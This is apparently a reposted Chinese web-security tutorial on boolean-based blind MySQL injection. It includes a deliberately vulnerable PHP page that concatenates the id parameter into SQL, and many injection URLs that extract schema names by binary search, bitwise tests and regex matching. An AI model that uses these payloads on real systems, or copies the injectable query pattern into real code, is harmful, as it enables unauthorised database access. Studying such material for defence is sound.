【20】WEB安全学习----MySQL注入-5(布尔型盲注)
内容导读
互联网集市收集整理的这篇技术教程文章主要介绍了【20】WEB安全学习----MySQL注入-5(布尔型盲注),小编现在分享给大家,供广大互联网技能从业者学习和参考。文章包含4038字,纯文字阅读大概需要6分钟。
内容图文
![【20】WEB安全学习----MySQL注入-5(布尔型盲注)](/upload/InfoBanner/zyjiaocheng/902/026089a9d8e041c2a665680c673d815f.jpg)
布尔型盲注例子演示:
本次代码不输出具体的查询记录结果,如果存在ID值则输出一个状态,不存在ID值则输出另一个状态,也不会输出SQL报错状态,为布尔型盲注。
- <?php
- header('content-type:text/html;charset=utf-8');
- @$id=$_GET['id']; //传参
- if(!isset($id)){
- die('请传入GET方法id参数值');
- }
- $mysqli=new mysqli();
- $mysqli->connect('localhost','root','root');
- if($mysqli->connect_errno){
- die('连接数据库失败:'.$mysqli->connect_error);
- }
- $mysqli->select_db('user');
- if($mysqli->errno){
- die('打开数据库失败:'.$mysqli->error);
- }
- $mysqli->set_charset('utf8');
- $sql="SELECT username,passwd FROM users WHERE id={$id} limit 0,1"; //添加了limit语句
- $result=$mysqli->query($sql);
- if(!$result){
- //die('执行SQL语句失败:'.$mysqli->error);
- }else if($result->num_rows==0){
- echo '抱歉!不存在此记录';
- }else {
- echo '存在此记录';
- }
注入步骤
判断注入点:
判断注入点同样可以进行运算符操作,查看是否执行了运算
判断字段数:
逻辑判断注入:
因为不返回查询结果信息,所以不能直接进行查询,但是可以通过条件语句进行逻辑判断猜解。
查看当前数据库版本:通过逻辑比较得知,数据库版本为5
二分搜索法进行猜解
猜解information_schema.schemata表里第二行记录的第一个字符为’f‘
- http://localhost/index.php?id=1 and if(ord(mid((select schema_name from information_schema.schemata limit 1,1),1,1))>64,1,0)%23 存在此记录
- http://localhost/index.php?id=1 and if(ord(mid((select schema_name from information_schema.schemata limit 1,1),1,1))>128,1,0)%23 不存在此记录
- http://localhost/index.php?id=1 and if(ord(mid((select schema_name from information_schema.schemata limit 1,1),1,1))>96,1,0)%23 存在此记录
- http://localhost/index.php?id=1 and if(ord(mid((select schema_name from information_schema.schemata limit 1,1),1,1))>112,1,0)%23 不存在此记录
- http://localhost/index.php?id=1 and if(ord(mid((select schema_name from information_schema.schemata limit 1,1),1,1))>104,1,0)%23 不存在此记录
- http://localhost/index.php?id=1 and if(ord(mid((select schema_name from information_schema.schemata limit 1,1),1,1))>100,1,0)%23 存在此记录
- http://localhost/index.php?id=1 and if(ord(mid((select schema_name from information_schema.schemata limit 1,1),1,1))>102,1,0)%23 不存在此记录
- http://localhost/index.php?id=1 and if(ord(mid((select schema_name from information_schema.schemata limit 1,1),1,1))>101,1,0)%23 存在此记录
- x>101 and x<102 所以x=102
102对应的正是字符f
但是,不知道字段值什么时候结束,所以首先需要取当前字段值的长度。
http://localhost/index.php?id=1 and if(length((select schema_name from information_schema.schemata limit 1,1))=4,1,0)%23 存在此记录
按位比较法进行猜解
- http://localhost/index.php?id=1 and if(ord(mid((select schema_name from information_schema.schemata limit 1,1),1,1)) %26 64,1,0)%23 存在此记录 1
- http://localhost/index.php?id=1 and if(ord(mid((select schema_name from information_schema.schemata limit 1,1),1,1)) %26 32,1,0)%23 存在此记录 1
- http://localhost/index.php?id=1 and if(ord(mid((select schema_name from information_schema.schemata limit 1,1),1,1)) %26 16,1,0)%23 不存在此记录 0
- http://localhost/index.php?id=1 and if(ord(mid((select schema_name from information_schema.schemata limit 1,1),1,1)) %26 8,1,0)%23 不存在此记录 0
- http://localhost/index.php?id=1 and if(ord(mid((select schema_name from information_schema.schemata limit 1,1),1,1)) %26 4,1,0)%23 存在此记录 1
- http://localhost/index.php?id=1 and if(ord(mid((select schema_name from information_schema.schemata limit 1,1),1,1)) %26 2,1,0)%23 存在此记录 1
- http://localhost/index.php?id=1 and if(ord(mid((select schema_name from information_schema.schemata limit 1,1),1,1)) %26 1,1,0)%23 不存在此记录 0
- 1100110转换到十进制为102
102对应的正是字符f
正则表达式法进行猜解
- http://localhost/index.php?id=1 and if((select schema_name from information_schema.schemata limit 1,1) regexp '^f',1,0)%23 是否以字符f开头 存在此记录
- http://localhost/index.php?id=1 and if(mid((select schema_name from information_schema.schemata limit 1,1),1,1) regexp '[a-g]',1,0)%23 第一个字符是否在a-g中
- ......以此类推
内容总结
以上是互联网集市为您收集整理的【20】WEB安全学习----MySQL注入-5(布尔型盲注)全部内容,希望文章能够帮你解决【20】WEB安全学习----MySQL注入-5(布尔型盲注)所遇到的程序开发问题。 如果觉得互联网集市技术教程内容还不错,欢迎将互联网集市网站推荐给程序员好友。
内容备注
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 gblab@vip.qq.com 举报,一经查实,本站将立刻删除。
内容手机端
扫描二维码推送至手机访问。